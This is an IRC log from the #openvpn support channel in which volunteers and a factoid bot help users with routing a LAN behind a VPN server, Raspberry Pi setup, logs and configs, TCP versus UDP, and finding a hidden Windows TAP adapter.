05:10 < nohitall> tripiz: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
05:11 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
05:11 < nohitall> guess the "Pics" describe your problem
05:15 < tripiz> so it is normal that i can login with vpn
05:15 < tripiz> and i cannot access my lan
05:15 < tripiz> ?
05:15 < nohitall> well look there, they describe what you need to configure to do that
05:15 < nohitall> its not uncommon
05:16 < nohitall> mostly iptables rulees
05:16 < tripiz> this might sound silly...i have seen this post but it really confuses me because it uses 2 NICs where i am just using 1 nic :-S
05:16 < rob0> !serverlan
05:16 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
05:17 < rob0> The flowchart can help.
05:17 < nohitall> tripiz: they use tun0 and eth0, same as you
05:17 < tripiz> yeah now i saw it further down
05:17 < tripiz> thanks alot guys
05:18 < tripiz> i will study and if i have further questions i will come back
05:18 < nohitall> sure
05:19 < Dat> hrmm I keep getting a certificate failure
05:19 < Dat> with polarssl
05:20 < Dat> my CA cert is failing on the IOS
05:21 -!- mikkel_ [~mikkel@109.202.158.84] has joined #openvpn
05:26 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
05:28 -!- Dat_ [dat@gotpot.org] has joined #openvpn
05:29 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 245 seconds]
05:30 -!- Dat_ is now known as Dat
05:31 -!- mikkel_ [~mikkel@109.202.158.84] has quit [Ping timeout: 276 seconds]
05:33 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
05:33 -!- Dat_ [dat@gotpot.org] has joined #openvpn
05:34 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 260 seconds]
05:34 -!- Dat_ is now known as Dat
05:40 -!- Dat [dat@gotpot.org] has quit [Read error: Connection reset by peer]
05:40 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
05:40 -!- Dat [dat@gotpot.org] has joined #openvpn
05:42 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
05:45 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
05:47 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
05:47 -!- Dat_ [dat@gotpot.org] has joined #openvpn
05:47 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
05:48 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 260 seconds]
05:48 -!- Dat_ is now known as Dat
05:49 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
05:52 -!- Dat [dat@gotpot.org] has quit [Read error: Connection reset by peer]
05:53 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has joined #openvpn
05:58 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
06:00 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
06:11 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
06:13 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has quit [Ping timeout: 264 seconds]
06:14 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
06:14 -!- Dat [dat@gotpot.org] has joined #openvpn
06:19 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
06:19 -!- Dat_ [dat@gotpot.org] has joined #openvpn
06:21 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
06:22 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 260 seconds]
06:23 -!- Dat_ is now known as Dat
06:26 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
06:28 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
06:37 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
06:41 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
06:45 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 246 seconds]
06:47 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has joined #openvpn
06:50 < tripiz> guys that did the trick
06:50 < tripiz> thanks alot
06:50 < tripiz> it wasnt that hard after all
06:50 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
06:50 -!- JackWinter1 [~jack@vodsl-10021.vo.lu] has quit [Quit: ZNC - http://znc.in]
06:51 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
06:51 -!- mode/#openvpn [+o plaisthos] by ChanServ
06:52 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
06:52 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
06:52 < nohitall> tripiz: cool
06:53 -!- tripiz [~dude@mbanet.ath.forthnet.gr] has quit [Quit: Leaving]
06:54 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has quit [Ping timeout: 245 seconds]
06:55 -!- Dat [dat@gotpot.org] has joined #openvpn
06:55 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
07:00 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 245 seconds]
07:00 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
07:01 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
07:02 -!- Dat [dat@gotpot.org] has joined #openvpn
07:06 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
07:07 < nohitall> Dat: fix ya internet
07:07 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 264 seconds]
07:13 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has joined #openvpn
07:13 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
07:19 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
07:21 -!- Dat_ [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has joined #openvpn
07:21 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has quit [Ping timeout: 264 seconds]
07:21 -!- Dat_ is now known as Dat
07:22 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
07:24 -!- mnice [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has left #openvpn []
07:26 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
07:27 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has quit [Ping timeout: 245 seconds]
07:27 -!- paccer [uid4847@gateway/web/irccloud.com/x-kjsjiurexzkgblmt] has quit [Ping timeout: 240 seconds]
07:29 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
07:30 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has joined #openvpn
07:33 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:34 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
07:35 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has quit [Read error: Connection reset by peer]
07:36 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Quit: ZNC - http://znc.in]
07:38 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
07:43 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
07:44 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
07:45 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 256 seconds]
07:48 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
07:53 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
07:57 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 264 seconds]
07:59 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
08:00 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
08:01 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Excess Flood]
08:01 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
08:04 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 256 seconds]
08:05 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
08:06 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Quit: ZNC - http://znc.in]
08:07 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
08:07 -!- Devastator [~devas@177.99.152.67] has joined #openvpn
08:08 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
08:08 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
08:08 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
08:09 -!- pycoderf [~pycoderf@108-214-186-137.lightspeed.cicril.sbcglobal.net] has joined #openvpn
08:11 -!- xbanux1 [~xbanux@115.254.75.113] has quit []
08:15 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
08:15 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
08:18 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
08:21 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
08:22 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
08:22 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
08:25 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
08:26 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
08:33 -!- JackWinter [~jack@vodsl-10021.vo.lu] has left #openvpn ["Konversation terminated!"]
08:36 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
08:36 < andi> Hello
08:37 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
08:37 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
08:38 -!- JackWinter [~jack@vodsl-10021.vo.lu] has left #openvpn ["Konversation terminated!"]
08:38 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
08:40 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
08:44 < andi> I'm trying to connect to an openvpn server using the openvpn client software. It's not possible. With the same configuration which I loaded into the openvpn client I can connect through openvpn daemon which works quiet well.
08:45 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
08:45 < andi> Can somebody tell me if there is a logfile for openvpn client or what could be wrong?
08:46 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
08:50 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
08:57 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
08:59 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
09:03 < pycoderf> hi all. with openvpn is it possible to have the server line in server.conf match my existing network?
09:04 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
09:06 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
09:07 < cnf> pycoderf: you could, with layer2, but you probably don't want that
09:07 < pycoderf> id like to be able to vpn in an access internal resources. is that layer 2 then?
09:12 < cnf> you don't need to be in the same subnet for that
09:12 < cnf> you just need to route the traffic
09:12 < pycoderf> ok then i am confused. then again i havent done in depth networking for years
09:12 < pycoderf> cnf: can you help me out please?
09:13 < cnf> only a little, i am at work atm
09:13 < cnf> pycoderf: is your openvpn server running on linux?
09:13 < pycoderf> its running on my raspberry pi which is debian based
09:16 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
09:17 < cnf> oh, hmm
09:17 < cnf> r-pi only has one network card, doesn't it?
09:17 < pycoderf> right
09:17 < cnf> pycoderf:  just look up linux routing / firewall
09:17 < pycoderf> believe i need to bridge the interfaces
09:17 < cnf> you are basically making a router,
09:18 < cnf> no, don't bridge the interfaces, just enable routing
09:18 < pycoderf> oh i found it
09:19 < pycoderf> had to ass a push "route network netmask" in server.conf
09:19 < pycoderf> seems ok now
09:19 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
09:19 < pycoderf> do i have to build rsa keys for each client?
09:25 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
09:25 -!- lnkgyv [~lnkgyv@194.8.144.126] has left #openvpn []
09:26 < pycoderf> cnf: does the default downlaod for openvpn ontaint he client for windows pcs
09:28 -!- paccer [uid4847@gateway/web/irccloud.com/x-fvbqhawtjukhcptu] has joined #openvpn
09:28 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
09:30 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:34 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
09:37 < cnf> pycoderf: uhm, i have no idea?
09:39 < pycoderf> i think i got it but im guessing i need to generate the ovpn pprofile thing for each client right
09:39 < pycoderf> do they need individual keys
09:41 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 252 seconds]
09:42 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
09:42 -!- Willis [Willis@173.234.237.131] has joined #openvpn
09:44 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Read error: Connection reset by peer]
09:47 -!- jzaw [~jzaw@community-wifi.dzki.co.uk] has joined #openvpn
10:06 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
10:06 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
10:08 < pycoderf> why would i get no internet access when i vpn from my laptop?
10:11 < pycoderf> cool something on my server died
10:11 < pycoderf> was working now doesnt
10:12 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Ping timeout: 246 seconds]
10:14 <@krzee> !redirect
10:14 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:14 <@vpnHelper> http://ircpimps.org/redirect.png
10:14 <@krzee> if thats your goal, use the flowchart at #4
10:14 < pycoderf> except this all worked 10 min ago
10:15 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
10:15 <@krzee> heh
10:15 <@krzee> then unbreak it? o_O
10:15 < pycoderf> i would if i knew what broke. all i did was connect my lptop to the vpn instead of my phone
10:15 < pycoderf> now neither works
10:15 <@krzee> if you dunno how you broke it, then it is irrelevant that it used to work
10:15 <@krzee> troubleshoot it
10:16 <@krzee> oh yes
10:16 < pycoderf> ok so after it works i did the following : new key and ovpn for laptop. copied to laptop. vpn broke
10:16 <@krzee> you are using the same certificate for both arent you
10:16 < pycoderf> no
10:16 <@krzee> you probably mixed the PKI
10:16 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
10:16 < pycoderf> so what do i need to do? regenerate the dh key?
10:16 <@krzee> you are looking at the logs, right?
10:16 < pycoderf> yes
10:16 < pycoderf> the openvpn log
10:16 <@krzee> you will never need to regenerate the dh key
10:17 <@krzee> if you're looking at the log, you should have an error message
10:18 -!- Xigam [~xbytez@xbytez.xxx] has joined #openvpn
10:18 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 246 seconds]
10:20 < cnf> i wonder what the actual performance of openvpn on an r-pi would be
10:20 < pycoderf> besides pinging local addresses how do i verify i am on the vpn correctly
10:21 <@krzee> that is how
10:21 <@krzee> ping vpn ip, if it works you are on the vpn
10:21 <@krzee> use my flowchart dammit!
10:22 <@krzee> i made it for you!
10:23 -!- HaxCore [~p3rror@41.250.251.159] has joined #openvpn
10:23 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
10:23 < cnf> hmmm, flow charts
10:24 <@krzee> cnf, i wonder the same
10:24 < pycoderf> ok can ping the server from laptop but nothing else
10:24 <@krzee> would be nice to hear real world tests
10:24 <@krzee> pycoderf, USE THE FLOWCHART
10:24 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
10:25 < cnf> krzee:  yah
10:25 < cnf> krzee: i did some quick perf tests on a ubtn picostation2 a few weeks ago
10:25 < cnf> it's abominally bad :P
10:25 <@krzee> try different ciphers?
10:26 < pycoderf> ok so seems the server is not hanlding routes correctly according to flowchart if i even understand where my issue is which i may not
10:26 <@krzee> also for performance testing, you may like to know that snappy is now supported in the newest codebase
10:26 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
10:26 <@krzee> (google's wire compression software, replacement for lzo)
10:27 < cnf> krzee: the impact of different ciphers was negligable
10:27 < cnf> krzee: the thing runs without encryption / auth now :P
10:27 -!- HaxCore [~p3rror@41.250.251.159] has quit [Ping timeout: 248 seconds]
10:27 <@krzee> pycoderf, show me your logs
10:27 <@krzee> !logs
10:27 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
10:27 <@krzee> cnf, why!?
10:28 <@krzee> !noenc
10:28 <@vpnHelper> "noenc" is (#1) if you're going to disable encryption, you might as well build a GRE tunnel or (#2) but you would use cipher none
10:28 < cnf> because we don't need the encryption, and without it we get the throughput we need
10:28 <@krzee> but why use openvpn
10:28 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
10:28 <@krzee> GRE tunnels should be lighter weight
10:28 < cnf> because it was the easiest way to get a L2 tunnel
10:28 <@krzee> ohhh l2
10:29 <@krzee> sure
10:29 < cnf> yah
10:29 <@krzee> ummmm, l2 tunnel with no crypto
10:29 < cnf> and no auth
10:29 <@krzee> you weighed the security implications?
10:29 < cnf> yeah, it's not relevant
10:29  * krzee arp poisons from outside the tunnel
10:29  * krzee makes it relevant
10:29 < cnf> basically, you come in behind a sonicwall firewall
10:30 <@krzee> if l2 matters, then what im saying should matter
10:30 < cnf> each client comes in on it's own vlan
10:30 <@krzee> by what, mac address?  :D
10:30 < cnf> krzee: the source is open wifi
10:30 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
10:30 < cnf> anything you can do on the tunnel, you can do 100 times easier on the wifi
10:31 <@krzee> what is openvpn solving?
10:31 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
10:31 < cnf> the layer 2 tunnel :P
10:31 <@krzee> which is needed because?
10:31 < pycoderf> ok first off this flowcart i cant figure where my exact problem lies. secod off. i can ping local stuff on my phone until i connect the laptop then it all dies out
10:32 <@krzee> pycoderf, do you understand how to follow a flowchart?
10:32 < pycoderf> and laptop claims on the vpn network adapter no internet connection and no network access
10:32 < pycoderf> i do
10:32 <@krzee> a vpn doesnt magically give internet access
10:32 < cnf> krzee: you know, i really don't fancy going through that again, i have explained it a few times here already
10:32 <@krzee> thats why theres this flowchart
10:32 <@krzee> cnf, ok? but i will likely ask EVERYTIME you mention running a l2 vpn with no auth/crypto
10:32 < cnf> also, flowchart?
10:32 <@krzee> just fyi
10:32 < cnf> krzee: yep, i do indeed
10:33 < cnf> i should just not mention it
10:33 < pycoderf> krzee: my setup is thus: laptop tethered to phone. befor ei connect the laptop to ovpn phone can ping local addresses fine. i connect laptop it dies on both
10:33 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:33 < pycoderf> also in your flowchart the secure computing site shows my cell carrier's wan ip
10:33 < pycoderf> in both cases
10:33 <@krzee> pycoderf, turn off the phone, can the laptop connect?
10:34 <@krzee> or does it not have internet without the cell?
10:34 < pycoderf> i can attach it to my home wifi but that defeats the purpose
10:34 <@krzee> (or is the laptop at the same location as the server?)
10:34 <@krzee> server is home?
10:34 -!- francobruni [~francobru@host244-59-static.240-95-b.business.telecomitalia.it] has joined #openvpn
10:34 < pycoderf> i am at home setting up a home connection. if i connect to my home wifi im on the same network as the vpn server which is pointless. so using the tether as the external connection
10:34 <@krzee> ok
10:35 <@krzee> do NOT run openvpn on your phone
10:35 < pycoderf> i am not
10:35 <@krzee> connect the laptop to internet through the cellphone
10:35 <@krzee> then ill hold your hand through the flowchart
10:35 < pycoderf> done
10:35 < cnf> yeah, light cpu's just can't handle the encryption
10:35 < pycoderf> im on the interwebs using phone wifi
10:35 <@krzee> can you ping the vpn ip of the server?
10:35 < pycoderf> external or internal?
10:36 <@krzee> is the vpn ip internal or external?
10:36 <@krzee> lol
10:36 <@krzee> how about this:
10:36 <@krzee> !logs
10:36 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
10:36 <@krzee> like i asked for 10min ago
10:36 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
10:36 <@krzee> that way i can spoonfeed you better =]
10:36 < pycoderf> well not sure where to get the client one but the server ok one second. but that log seems evreything is ok. now i cant ping my external ip but
10:37 <@krzee> !logfile
10:37 < pycoderf> which i think is normal
10:37 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
10:37 < pycoderf> HOWEVER
10:37 <@krzee> i didnt ask you to tell me if they look ok to you
10:37 < pycoderf> other services i am hosting are fine
10:37 <@krzee> i told you to post them
10:37 < pycoderf> http://pastebin.com/JgWh3EUw
10:38 <@krzee> ummmm
10:38 <@krzee> !configs
10:38 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
10:38 <@krzee> you got some fubar in there
10:39 < pycoderf> server : http://pastebin.com/PJEYxcPW
10:39 <@krzee> and client now
10:40 <@krzee> why do you have lines 5 / 16 on the server?
10:40 <@krzee> why are you using tcp?
10:40 < pycoderf> http://pastebin.com/f93WY0zQ
10:40 <@krzee> err i mean lines 15/16
10:40 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Read error: Connection reset by peer]
10:40 < pycoderf> i was following a tutorial
10:40 < pycoderf> but they are out now
10:40 <@krzee> !walktrhough
10:40 <@krzee> !walkthrough
10:40 <@vpnHelper> "walkthrough" is if you are using some walkthrough and now you are here cause you have problems and dont understand your setup, type !howto and !man and try to actually learn what you're doing. most those docs about openvpn from google SUCK.
10:41 < pycoderf> ok well im also on the openvpn site itself reading the real docs
10:41 < pycoderf> for the configd
10:42 < pycoderf> do my configs look ok minus those lines?
10:42 -!- wjtaylor [~wjtaylor@c-24-34-23-78.hsd1.ma.comcast.net] has joined #openvpn
10:43 < pycoderf> i am obviously TRYING to understand but having a tough time
10:45 < pycoderf> krzee: ?
10:45 <@krzee> sorry you hafta wait a min i need to work
10:46 <@krzee> ill be back when i fix something
10:46 < kisom> pycoderf: What's so hard to understand? It's all in the manual
10:46 <@krzee> yep, reading the manual on every option in your configs would be a huge start towards knowing your setup
10:46 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
10:46 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Quit: ZNC - http://znc.in]
10:47 <@krzee> now that you removed lines 15 and 16 in your server config, maybe kisom will hold your hand through my flowchart
10:47 <@krzee> http://ircpimps.org/redirect.png
10:47 <@krzee> :D
10:47 < kisom> Hah, I need to study linear algebra
10:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
10:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:48 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
10:48 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
10:49 < francobruni> Hi there, I'm trying to work around the problem "waiting for TAP interface to come up" in Windows
10:49 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
10:50 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
10:50 < francobruni> but I cannot find any TAP-Windows Adapter in Control Panel>Network Connections
10:50 < pycoderf> i took out 15 and 16 and it wont connect now
10:50 < pycoderf> why in the docs does it say to use udp?
10:51 < kisom> !tcpovertcp
10:51 < kisom> !tcp
10:51 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
10:51 < pycoderf> ok thanks
10:52 < pycoderf> well now is more broke and im out of patience. will return later
10:52 -!- pycoderf [~pycoderf@108-214-186-137.lightspeed.cicril.sbcglobal.net] has quit [Quit: KVIrc 4.0.4 Insomnia http://www.kvirc.net/]
10:52 < kisom> lol, gl hf.
10:53 < kisom> Anyways, linear algebra. Bbl.
10:54 -!- JackWinter1 [~jack@vodsl-10021.vo.lu] has joined #openvpn
10:55 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 240 seconds]
10:56 < pekster> francobruni: You normaly get one installed when openvpn is installed; look in the output of `ipconfig /all` for an Ethernet device with a "Description" field of "TAP-Windows Adapter V9"
10:56 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Ping timeout: 248 seconds]
10:57 <@krzee> ok im back
10:57 <@krzee> so now...
10:57 <@krzee> you connected back to the vpn after removing lines 15 and 16?
10:58 <@krzee> oh he quit
10:58 <@krzee> haha
10:59 <@krzee> i bet he'll love when he comes back and is told to choose a different subnet for his server lan
10:59 < francobruni> pekster: yes, it's there in the command prompt. How can I disable any other protocol but ipv4 for that device? I can do it only in the control panel, but the control panel doesn't show the interface
11:00 < pekster> No clue. THere's probably some netsh or registry change you can make, but I don't know that off-hand (google-fu would be a good bet)
11:01 <@krzee> pekster, back to google?
11:01 <@krzee> or does ddg-fu not have tjhe same ring?
11:01 < pekster> The OS shouldn't "hide" connections from you, so the adapter should be in the list (make sure you're looking at the right spot)
11:01 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
11:02 < pekster> francobruni: What OS?
11:03 < francobruni> windows 7 (virtualized inside Mac Os x)
11:04 < pekster> Right, so it should show up in the 'Network Connections' deal (note that this is different than the 'Network and Sharing Center' that is generally worthless)
11:04 <@krzee> hmm i thought windows was happy to hide adapters
11:04 <@krzee> !wintaphide
11:04 <@vpnHelper> "wintaphide" is (#1) in regedit find HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318} then Look through each sub-key for one with a DriverDesc = TAP-Win32Adapter V8 . Set Characteristics = 0x89 or (#2) To show again, set it to 0x81
11:04 < pekster> Failing that, find the 'Advanced' menu, try 'Advanced Settings' and it'll list each adapter and show you bindings where you can explicitly disable IPv6 from there
11:05 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
11:08 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
11:10 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:10 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 264 seconds]
11:12 < francobruni> found it: it's adapter v9 and characteristics already end with 81
11:12 <@krzee> francobruni, you wanna listen to pekster i was just showing him something
11:13 < pekster> I've seen it before, but AFAIK it won't ever hide it from the connections list
11:13 < francobruni> the advance settings don't show anything, it just starts a kind of setup procedure
11:13 < pekster> Just the "tray icon" where XP loved to keep things
11:13 < pekster> The bitmask 0x20 is worse than 0x08 since the former prevents devices from being uninstalled ;)
11:13 < pekster> Then you're not in the right spot
11:15 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
11:16 < francobruni> if I right click the computer icon in the tray icon I get to the same spot
11:16 < pekster> That's *not* the right spot
11:16 < pekster> 'Network and Sharing Center' is not the 'Network Connections' screen
11:16 < pekster> As I said earlier
11:17 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
11:18 <+hazardous> i really
11:18 <+hazardous> hate the network and sharing center
11:18 < pekster> francobruni: http://pekster.sdf.org/misc/network-connections.png  (and then) http://pekster.sdf.org/misc/network-connections-advanced.png
